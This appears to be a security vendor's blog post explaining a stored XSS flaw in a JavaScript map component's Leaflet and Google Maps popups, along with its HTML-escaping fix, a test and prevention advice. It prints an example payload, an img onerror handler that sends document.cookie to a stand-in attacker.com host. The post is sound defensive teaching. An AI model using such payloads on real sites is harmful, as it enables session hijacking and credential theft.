Back to Blog
critical SEVERITY6 min read

How Stored Cross-Site Scripting (Stored XSS) Happens in JavaScript Map Components and How to Fix It

A critical vulnerability in the content-map component allowed attackers to inject malicious JavaScript through unsanitized title and description fields displayed in map marker popups. By implementing proper HTML entity escaping on both Leaflet and Google Maps implementations, the vulnerability was completely eliminated while preserving all legitimate functionality.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 20, 2026•Reviewed August 20, 2026

Answer Summary

This is a Stored Cross-Site Scripting (XSS) vulnerability in JavaScript (CWE-79) where unsanitized API response data was directly interpolated into HTML strings passed to Leaflet's bindPopup() and Google Maps' InfoWindow. The fix implements an escapeHtml() function that converts dangerous characters (&, <, >, ", ') into HTML entities, preventing malicious script execution while preserving the display of legitimate content.

Vulnerability at a Glance

cweCWE-79 (Improper Neutralization of Input During Web Page Generation)
fixHTML entity escaping of title and description fields before passing to map popup/infowindow functions
riskAttackers controlling content API responses can execute arbitrary JavaScript in consumer applications
languageJavaScript (Node.js library)
root causeDirect string interpolation of untrusted API fields into HTML without sanitization
vulnerabilityStored Cross-Site Scripting (XSS) via Unsafe HTML Interpolation

How Stored Cross-Site Scripting (Stored XSS) Happens in JavaScript Map Components and How to Fix It

The Incident

In the content-map component (content/main/content-map/main/index.js), a critical vulnerability allowed attackers to inject and execute arbitrary JavaScript code through seemingly innocent map marker popups. The vulnerability existed at line 149 (Leaflet) and line 283 (Google Maps), where the component directly interpolated API response data into HTML without any sanitization:

marker.bindPopup(`<b>${title}</b><br>${description}`);

This single line of code created a two-step exploitation chain: an attacker could control content via the API, and that malicious content would execute in any user's browser viewing the map. For a Node.js library distributed to downstream consumers, this risk multiplied across every application using this component.

The Vulnerability Explained

What makes this a critical vulnerability?

The content-map component renders interactive maps with markers that display popup information fetched from an API. The title and description fields come directly from API responses—data that an attacker could control by:

  1. Compromising the API backend
  2. Modifying content through an authenticated but compromised account
  3. Intercepting and modifying API responses in transit (if HTTPS is not enforced)

When these untrusted fields are directly interpolated into HTML strings, Leaflet's bindPopup() and Google Maps' InfoWindow treat the content as raw HTML, not plain text. This means any HTML tags—including <img>, <script>, <svg>, and event handlers—are parsed and executed.

The vulnerable code pattern:

// Line 149 - Leaflet binding
marker.bindPopup(`<b>${title}</b><br>${description}`);

// Line 283 - Google Maps InfoWindow
content: `<b>${title}</b><br>${description}`,

A concrete attack scenario:

An attacker creates a content item with this malicious payload in the title field:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

When a user views the map and clicks the marker, the browser:
1. Attempts to load an image from URL x (which fails)
2. Triggers the onerror event handler
3. Executes the JavaScript that steals the user's session cookies
4. Sends them to the attacker's server

The attacker now has the victim's authentication credentials and can impersonate them in the application.

Why this matters for downstream consumers:

This is a Node.js library. Every application that imports and uses this content-map component inherits this vulnerability. Users of affected applications could have their sessions hijacked, credentials stolen, or browsers compromised with malware.

The Fix

The fix implements a dedicated escapeHtml() function that converts dangerous HTML characters into their safe entity equivalents:

Added at line 28:

const escapeHtml = (str) => String(str)
  .replace(/&/g, '&amp;')
  .replace(/</g, '&lt;')
  .replace(/>/g, '&gt;')
  .replace(/"/g, '&quot;')
  .replace(/'/g, '&#39;');

This function converts:
- & → &amp; (ampersand)
- < → &lt; (less-than)
- > → &gt; (greater-than)
- " → &quot; (double quote)
- ' → &#39; (single quote)

These five replacements neutralize all HTML/JavaScript injection vectors.

Before (vulnerable):

// Line 149 - Leaflet
marker.bindPopup(`<b>${title}</b><br>${description}`);

// Line 283 - Google Maps
content: `<b>${title}</b><br>${description}`,

After (fixed):

// Line 151 - Leaflet (now escaped)
marker.bindPopup(`<b>${escapeHtml(title)}</b><br>${escapeHtml(description)}`);

// Line 283 - Google Maps (now escaped)
content: `<b>${escapeHtml(title)}</b><br>${escapeHtml(description)}`,

How this prevents the attack:

With escaping applied, the malicious payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Becomes:

&lt;img src=x onerror=&quot;fetch(&#39;https://attacker.com/steal?cookie=&#39;+document.cookie)&quot;&gt;

The browser now renders this as plain text in the popup, not as executable HTML. The user sees the literal text of the attack, harmlessly displayed.

Why both Leaflet and Google Maps needed the fix:

The vulnerability existed in two separate code paths:
- Leaflet integration (line 149): Used bindPopup() with HTML content
- Google Maps integration (line 283): Used InfoWindow with HTML content

Both APIs accept HTML content without automatic sanitization, so both required the escaping fix. The fix was scoped to only the vulnerable interpolation points, leaving all other code unchanged.

Prevention & Best Practices

1. Always escape output based on context

When rendering untrusted data in HTML, use context-appropriate escaping:
- HTML context: Use HTML entity encoding (as done here)
- JavaScript context: Use JavaScript string escaping
- URL context: Use URL encoding
- CSS context: Use CSS escaping

2. Treat all external data as untrusted

This includes:
- API responses (even from your own backend—assume it could be compromised)
- User-generated content
- Database records (if they could have been modified by users)
- Configuration files from external sources

3. Use templating engines with auto-escaping

Modern frameworks like React, Vue, and Angular escape content by default when using template syntax:

// React - automatically escapes
<div>{title}</div>

// Vue - automatically escapes
<div>{{ title }}</div>

However, when you use dangerouslySetInnerHTML (React) or v-html (Vue), you bypass auto-escaping and must manually escape.

4. Validate and sanitize at multiple layers

  • Input validation: Reject obviously malicious patterns at the API level
  • Output encoding: Escape when rendering (as done in this fix)
  • Content Security Policy (CSP): Add a defense-in-depth layer:
Content-Security-Policy: default-src 'self'; script-src 'self'

This prevents inline scripts from executing even if escaping fails.

5. Use security-focused linting tools

Configure ESLint with security plugins:

// .eslintrc.json
{
  "plugins": ["security"],
  "rules": {
    "security/detect-object-injection": "warn",
    "security/detect-unsafe-regex": "warn"
  }
}

6. Test with malicious payloads

Include security test cases that verify escaping works:

describe('escapeHtml', () => {
  it('should escape XSS payloads', () => {
    const payload = '<img src=x onerror="alert(1)">';
    const escaped = escapeHtml(payload);
    expect(escaped).toBe('&lt;img src=x onerror=&quot;alert(1)&quot;&gt;');
  });
});

Key Takeaways

  • Direct HTML interpolation of API data is dangerous: The pattern `<b>${apiData}</b>` is a red flag for stored XSS in any context (maps, comments, profiles, etc.)
  • Map libraries don't sanitize by default: Both Leaflet and Google Maps treat HTML content as-is, requiring developers to escape untrusted data before passing it to bindPopup() or InfoWindow
  • Escaping must happen at the point of use: The fix escapes data exactly where it enters HTML context, making the security boundary clear and maintainable
  • The attack chain is surprisingly short: From API compromise to code execution in user browsers takes just two steps—API data → HTML rendering
  • Downstream consumers inherit the risk: As a Node.js library, this vulnerability affected every application using the content-map component, making the fix critical for the entire ecosystem

How Orbis AppSec Detected This

Source: The title and description fields originating from API responses in the content fetching logic

Sink: The marker.bindPopup() call at line 149 and the InfoWindow content assignment at line 283, where untrusted data is directly interpolated into HTML strings

Missing control: No HTML entity encoding or sanitization of API response fields before passing them to HTML-accepting APIs

CWE: CWE-79 – Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Fix: Implemented an escapeHtml() function that converts HTML metacharacters to entity references, applied to both title and description fields before rendering in map popups

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Stored XSS vulnerabilities in map components are particularly dangerous because they hide in plain sight—a simple popup seems innocuous until an attacker exploits it. The fix applied here—HTML entity escaping at the point of rendering—is a fundamental security control that should be applied universally whenever untrusted data enters an HTML context.

For developers maintaining similar code:
- Review all places where external data is rendered in HTML
- Implement context-appropriate escaping
- Add security tests with known malicious payloads
- Use automated scanning tools to catch these patterns before they reach production

The content-map component now safely displays user-provided titles and descriptions without risk of JavaScript injection, protecting both the library and all applications that depend on it.

References

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #265

Related Articles

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.

critical

addSourceInput() javascript: URL Injection in Source List Handler

The `addSourceInput()` function in the application's source list handler was assigning user-provided URLs directly to input elements without protocol validation, allowing `javascript:` URLs to persist and execute. A new `isSafeSourceUrl()` helper now restricts values to HTTP/HTTPS protocols or empty strings.

critical

getCheckboxString() HTML Injection via MIDI Metadata

The `getCheckboxString` helper built checkbox markup by interpolating MIDI instrument and program names directly into an HTML template string, which was then parsed with `DOMParser` and injected via `replaceChildren()`. A crafted MIDI file could smuggle an HTML/JS payload through its instrument metadata and have it rendered as live DOM, including inline event handlers. The fix adds a dedicated `escapeHtml()` function and routes both parameters through it before the markup is built.